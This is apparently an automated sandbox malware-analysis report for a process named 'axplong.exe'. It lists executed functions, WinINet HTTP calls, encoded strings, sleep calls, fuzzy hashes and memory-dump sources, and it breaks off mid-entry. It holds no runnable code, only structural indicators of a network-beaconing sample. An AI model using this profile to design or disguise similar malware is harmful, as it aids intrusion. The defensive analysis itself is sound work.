Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 369af81172b1325042511e436a234d7b5524126d8eab684a083e50c1aa44656c
Instruction ID: 085c1a6e60bb7119de2b5448888fef5673688d91426ec076dfff5554cce3502d
Opcode Fuzzy Hash: 369af81172b1325042511e436a234d7b5524126d8eab684a083e50c1aa44656c
Instruction Fuzzy Hash: C6E09B6374C014ED2540D6C721553356BD7729A23032C453FF14BDB601F5247695B562

Function 04CC0981 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a966eec594e2820aa8b6a2ee147e40bf302c17fa61196694b9a7e62bae0126bf
Instruction ID: 95bb8a56cb1be5c2d5554abee659bbe1e43fc229c22e949cac24a37fb1704839
Opcode Fuzzy Hash: a966eec594e2820aa8b6a2ee147e40bf302c17fa61196694b9a7e62bae0126bf
Instruction Fuzzy Hash: 90E0226370C010ED6484DBC752253797BDBB29932032C493FE04BCA901F6287690B632

Function 04CC099A Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bd084677d517a08630df28b6595dcc7465d27affdaefc770d705fdc21268f1a
Instruction ID: 065e084c0654a0e7ad7a467e1b5c176efc61974ebe207f489fc1b474135cf2f4
Opcode Fuzzy Hash: 3bd084677d517a08630df28b6595dcc7465d27affdaefc770d705fdc21268f1a
Instruction Fuzzy Hash: 9EE0682378E280EE964097D317283B9FBE7B70521031C09AFE0DBD9002F6242364B332

Function 04CC0A28 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 760bbcb6e1c04a680ddc3feee0b646171ea40f72e18e4b0008287af3bca5088f
Instruction ID: 8e2b81bd359b52cf73dc69fa889e08c2a35bb4cd620ec7c140620157bda77af2
Opcode Fuzzy Hash: 760bbcb6e1c04a680ddc3feee0b646171ea40f72e18e4b0008287af3bca5088f
Instruction Fuzzy Hash: 04E0D827A0D594DE8E41C9D371243BB6BA66A54610328053FE05AC9001F514578BB661

Function 04CC09EB Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9eedcf4527dacec85c48dad0cee63acfca795391e9a4f452140fbc3e07ebdf8
Instruction ID: 6e3207e055520f3795d9ae6ba53ca02dd51f9aea880d45ce8186b546f822e5a2
Opcode Fuzzy Hash: e9eedcf4527dacec85c48dad0cee63acfca795391e9a4f452140fbc3e07ebdf8
Instruction Fuzzy Hash: 39D02BB360C940C35640D6C3115D2787BD6F615112308047FD087CA101F812B983F662

Function 04CC09C7 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91eb29c1634d10970f522e23af1a4c00c83f35abc04440815e3c68cc5a151e0f
Instruction ID: ac4b4344073332ef9e5d58cd1ec717db3edf50b4a13138e5fcc1a4394912cb97
Opcode Fuzzy Hash: 91eb29c1634d10970f522e23af1a4c00c83f35abc04440815e3c68cc5a151e0f
Instruction Fuzzy Hash: CFD0A72774C104E95580D6C3622437967D2B25526032C4D3FE04BD6101F12476D5B232

Function 04CC09D5 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1527e376da5d4fa3da28a25e40ed81e5eef7bdf58b637ebd2fe2050461e57179
Instruction ID: 42c139cc02cea5546e7c59959c58f25b134730f02a2c5cb26dc0611fa9aa999e
Opcode Fuzzy Hash: 1527e376da5d4fa3da28a25e40ed81e5eef7bdf58b637ebd2fe2050461e57179
Instruction Fuzzy Hash: FCD0A73360C014DD4A40CDD3312533D77E2A654310368483FE00BC6000E5246146F661

Function 04CC0A14 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4cb45e8162510d912d8e03fd8305cca8c652e0035da121d20915082830deb8e
Instruction ID: ab069e3563c0d5d56be088bae86381d459ec7fca902f81f1a34710cef883e462
Opcode Fuzzy Hash: c4cb45e8162510d912d8e03fd8305cca8c652e0035da121d20915082830deb8e
Instruction Fuzzy Hash: 1FC02B67B0C400D90140ECD3905C37D3EDAF4A0030395083EE00289000F006D541F2D0

Non-executed Functions

Function 04CC0189 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3479f1ba73882482101a458c00f0cff3db0015f766f8bea1261c52475e05b17
Instruction ID: 0331c31cd43960c4acc0c784bc30752ba43c1fb90c0473ca9d2f8f8fc46f158c
Opcode Fuzzy Hash: c3479f1ba73882482101a458c00f0cff3db0015f766f8bea1261c52475e05b17
Instruction Fuzzy Hash: 3E21C0AB34D250EFE2468CA75E156FBBF6BE6D3230339053FD443C6583E605164AA161

Function 04CC01E6 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce2c9dc4b80af5c2c412a20536e15c6e5bd59a9e989d9e46e645870669e75c2c
Instruction ID: ba2ba3cc35c0ad7d5232d75be8b00b4e3ae0869617bfb7692da81415e306f629
Opcode Fuzzy Hash: ce2c9dc4b80af5c2c412a20536e15c6e5bd59a9e989d9e46e645870669e75c2c
Instruction Fuzzy Hash: A911C25B38D2A0DDD64704B756512F66F2BD59313033D052FD443C6993F205598D6122

Analysis Process: axplong.exePID: 2304, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.8%
Total number of Nodes:	1779
Total number of Limit Nodes:	40

Executed Functions

Function 00C2E440 Relevance: 36.2, APIs: 2, Strings: 17, Instructions: 2960COMMON

Download Yara Rule

APIs

Part of subcall function 00C37870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00C3795C
Part of subcall function 00C37870: __Cnd_destroy_in_situ.LIBCPMT ref: 00C37968
Part of subcall function 00C37870: __Mtx_destroy_in_situ.LIBCPMT ref: 00C37971

std::_Xinvalid_argument.LIBCPMT ref: 00C307C5

Strings

fed3aa, xrefs: 00C2FA9E
WWt=, xrefs: 00C3088D, 00C3158C
FFNmLv==, xrefs: 00C2FDF4
WWp=, xrefs: 00C304DA
MJB+, xrefs: 00C2E734
#, xrefs: 00C30534
GqKudSO2, xrefs: 00C2E47F
MT==, xrefs: 00C2E4A5
stoi argument out of range, xrefs: 00C307D4, 00C31502
puu2B7m, xrefs: 00C2ED94
WGt=, xrefs: 00C2F62D, 00C2F90A, 00C2FCF3
UD==, xrefs: 00C2EA1F, 00C2EB51, 00C2EC66, 00C2EE99, 00C2F1DE
GlNgUSfi8Dy=, xrefs: 00C2FDC6
111, xrefs: 00C2F6B0
246122658369, xrefs: 00C2F647, 00C2F924, 00C2FD10, 00C304F7, 00C308AA, 00C315A9
invalid stoi argument, xrefs: 00C307C0, 00C314F8
FlpmMdzrTXUg, xrefs: 00C2FE29

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: puu2B7m$#$111$246122658369$FFNmLv==$FlpmMdzrTXUg$GlNgUSfi8Dy=$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$WWt=$fed3aa$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-2205604348
Opcode ID: 87982022ba2e89063212463aad95a3762405f0159821735a3a3ab26b4e332b06
Instruction ID: 80a228f247841842e12304944aecc4d8ac4e59830924b437a4cbbb4c14f26ef6
Opcode Fuzzy Hash: 87982022ba2e89063212463aad95a3762405f0159821735a3a3ab26b4e332b06
Instruction Fuzzy Hash: 89337971A101589BEF18DF38DC8979DBB72AF85304F2082ACE405AB7D6DB358AC5CB51

Function 00C2BD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00C78D70,00000000,00000000,00000000,00000000), ref: 00C2BDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00C2BE11
HttpOpenRequestA.WININET(?,00000000), ref: 00C2BE5B
HttpSendRequestA.WININET(?,00000000), ref: 00C2BF1A
InternetReadFile.WININET(?,?,000003FF,?), ref: 00C2BFCD
InternetCloseHandle.WININET(?), ref: 00C2C0A7
InternetCloseHandle.WININET(?), ref: 00C2C0AF
InternetCloseHandle.WININET(?), ref: 00C2C0B7

Strings

RpKt, xrefs: 00C2D516
RHYTYv==, xrefs: 00C2BE33
8KG0fCKZFzY=, xrefs: 00C2C385
invalid stoi argument, xrefs: 00C2E404
8KG0fymoFx==, xrefs: 00C2C2EB, 00C2C543
stoi argument out of range, xrefs: 00C2E3FA

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$invalid stoi argument$stoi argument out of range
API String ID: 688256393-332458646
Opcode ID: 1f3ea34df5f0cefc6c78bb79f1d89c19fbb3e400cdc7169fe837c0205ba28b8e
Instruction ID: 1754fb3aacec764ac5e5225fbeddd03af6cc3933c007ae2314ad5ff4cb23098c
Opcode Fuzzy Hash: 1f3ea34df5f0cefc6c78bb79f1d89c19fbb3e400cdc7169fe837c0205ba28b8e
Instruction Fuzzy Hash: ACB1F5B1A101289BEB24CF28DC85BAEBB79EF45304F5041A8F509976C2DB749EC0CF95

Function 00C265B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00C26650

Strings

GVQsgL==, xrefs: 00C266F8
RBPleCSm, xrefs: 00C2666C
IVKsgL==, xrefs: 00C267A1

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GVQsgL==$IVKsgL==$RBPleCSm
API String ID: 1484870144-3856690409
Opcode ID: ae3b92465e541c0abb2f3e0ded24c67096f951027bc755206b452fd84efbcd08
Instruction ID: c29a1781441e25c029902f67d7b772e351119a9cae274c367ba1d6d96e60cd4a
Opcode Fuzzy Hash: ae3b92465e541c0abb2f3e0ded24c67096f951027bc755206b452fd84efbcd08
Instruction Fuzzy Hash: B991D1B190012C9BDB28DF28DC85BEDB779EB49304F4045E9E50997682DA319FC9CFA4

Function 00C3D312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00C2247E

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: cd9c1bb19990b1c4837a1a1996e275003ebace2ca1c8852302f65d6bc6fccd5b
Instruction ID: 761b55c8f15a606e1ca4dd7a898f86f343842233622d31807f6d8769a51d9b52
Opcode Fuzzy Hash: cd9c1bb19990b1c4837a1a1996e275003ebace2ca1c8852302f65d6bc6fccd5b
Instruction Fuzzy Hash: 5A51BFB2A106058FDB19CF69E8C57AEBBF0FB08310F24856AD816EB254D7749A40DF64

Function 00C342A0 Relevance: 42.8, APIs: 1, Strings: 22, Instructions: 2558sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00C37870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00C3795C
Part of subcall function 00C37870: __Cnd_destroy_in_situ.LIBCPMT ref: 00C37968
Part of subcall function 00C37870: __Mtx_destroy_in_situ.LIBCPMT ref: 00C37971

Part of subcall function 00C2BD60: InternetOpenW.WININET(00C78D70,00000000,00000000,00000000,00000000), ref: 00C2BDED
Part of subcall function 00C2BD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00C2BE11
Part of subcall function 00C2BD60: HttpOpenRequestA.WININET(?,00000000), ref: 00C2BE5B

std::_Xinvalid_argument.LIBCPMT ref: 00C34EA2
Sleep.KERNEL32 ref: 00C36B65

Strings

fed3aa, xrefs: 00C35489
MJB+, xrefs: 00C34776, 00C347ED, 00C34A95, 00C34B0C
stoi argument out of range, xrefs: 00C34EAC
9KN6, xrefs: 00C35351
MJF+, xrefs: 00C347BD, 00C348EC, 00C34ADC, 00C34C0B
Fz==, xrefs: 00C34D2D
mP=, xrefs: 00C36383
8ZF6, xrefs: 00C35502
V0N6, xrefs: 00C3537A
WJP6, xrefs: 00C353A3
JB6, xrefs: 00C353F5
96B6, xrefs: 00C35470
V0x6, xrefs: 00C3541E
9526, xrefs: 00C3531D
5F6, xrefs: 00C35497
246122658369, xrefs: 00C34F3A, 00C34F4D, 00C34F8F, 00C34F99, 00C354F4
invalid stoi argument, xrefs: 00C34E9D
6F9fr==, xrefs: 00C34712
aqB6, xrefs: 00C354DB
KFT0PL==, xrefs: 00C354B9
Vp 6, xrefs: 00C35447
aZT6, xrefs: 00C353CC

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$invalid stoi argument$stoi argument out of range
API String ID: 4201286991-2304726402
Opcode ID: 2e0cd48b92c814167ddb30fbceb252fe39c26e1a25189ad3276959135aec5c42
Instruction ID: 60569b0658d5b0e46968d51e1e8faa909007d74b02435f88e2830330b0fa840a
Opcode Fuzzy Hash: 2e0cd48b92c814167ddb30fbceb252fe39c26e1a25189ad3276959135aec5c42
Instruction Fuzzy Hash: 14234871E201589BEF19DB28CD8979DBB72AF85304F50829CE009AB2C6DB359F85CF51

Function 00C346C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00C37870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00C3795C
Part of subcall function 00C37870: __Cnd_destroy_in_situ.LIBCPMT ref: 00C37968
Part of subcall function 00C37870: __Mtx_destroy_in_situ.LIBCPMT ref: 00C37971

Part of subcall function 00C2BD60: InternetOpenW.WININET(00C78D70,00000000,00000000,00000000,00000000), ref: 00C2BDED
Part of subcall function 00C2BD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00C2BE11
Part of subcall function 00C2BD60: HttpOpenRequestA.WININET(?,00000000), ref: 00C2BE5B

std::_Xinvalid_argument.LIBCPMT ref: 00C34EA2

Strings

fed3aa, xrefs: 00C35489
MJB+, xrefs: 00C34776, 00C347ED, 00C34A95, 00C34B0C
stoi argument out of range, xrefs: 00C34EAC
9KN6, xrefs: 00C35351
MJF+, xrefs: 00C347BD, 00C348EC, 00C34ADC, 00C34C0B
Fz==, xrefs: 00C34D2D
mP=, xrefs: 00C36383, 00C36652
8ZF6, xrefs: 00C35502
V0N6, xrefs: 00C3537A
WJP6, xrefs: 00C353A3
JB6, xrefs: 00C353F5
96B6, xrefs: 00C35470
V0x6, xrefs: 00C3541E
9526, xrefs: 00C3531D
5F6, xrefs: 00C35497
246122658369, xrefs: 00C34F3A, 00C34F4D, 00C34F8F, 00C34F99, 00C354F4
6F9fr==, xrefs: 00C34712
aqB6, xrefs: 00C354DB
KFT0PL==, xrefs: 00C354B9
Vp 6, xrefs: 00C35447
aZT6, xrefs: 00C353CC

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range
API String ID: 2414744145-1662704651
Opcode ID: f036ff14d176eac522f21f489dc1ce002433e6a6e0a976c97f936cd105deb612
Instruction ID: d3444fafce4faa1be05a915dd1e07b64cbd4fe40521ea204d15e68a4e56af95b
Opcode Fuzzy Hash: f036ff14d176eac522f21f489dc1ce002433e6a6e0a976c97f936cd105deb612
Instruction Fuzzy Hash: DD233671E202589BEB19DB28CD8979DBB769F81304F5082D8E009AB2C6DB359FC5CF51

Function 00C33550 Relevance: 18.3, APIs: 1, Strings: 9, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00C3425F

Part of subcall function 00C37870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00C3795C
Part of subcall function 00C37870: __Cnd_destroy_in_situ.LIBCPMT ref: 00C37968
Part of subcall function 00C37870: __Mtx_destroy_in_situ.LIBCPMT ref: 00C37971

Strings

W07l, xrefs: 00C33AEE
5120, xrefs: 00C33ABF, 00C33BAA
WJms, xrefs: 00C33BD9
V5Qk, xrefs: 00C33DC0
invalid stoi argument, xrefs: 00C3425A
stoi argument out of range, xrefs: 00C34269
HBhr, xrefs: 00C3378F
", xrefs: 00C33E99
Fz==, xrefs: 00C3369E

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
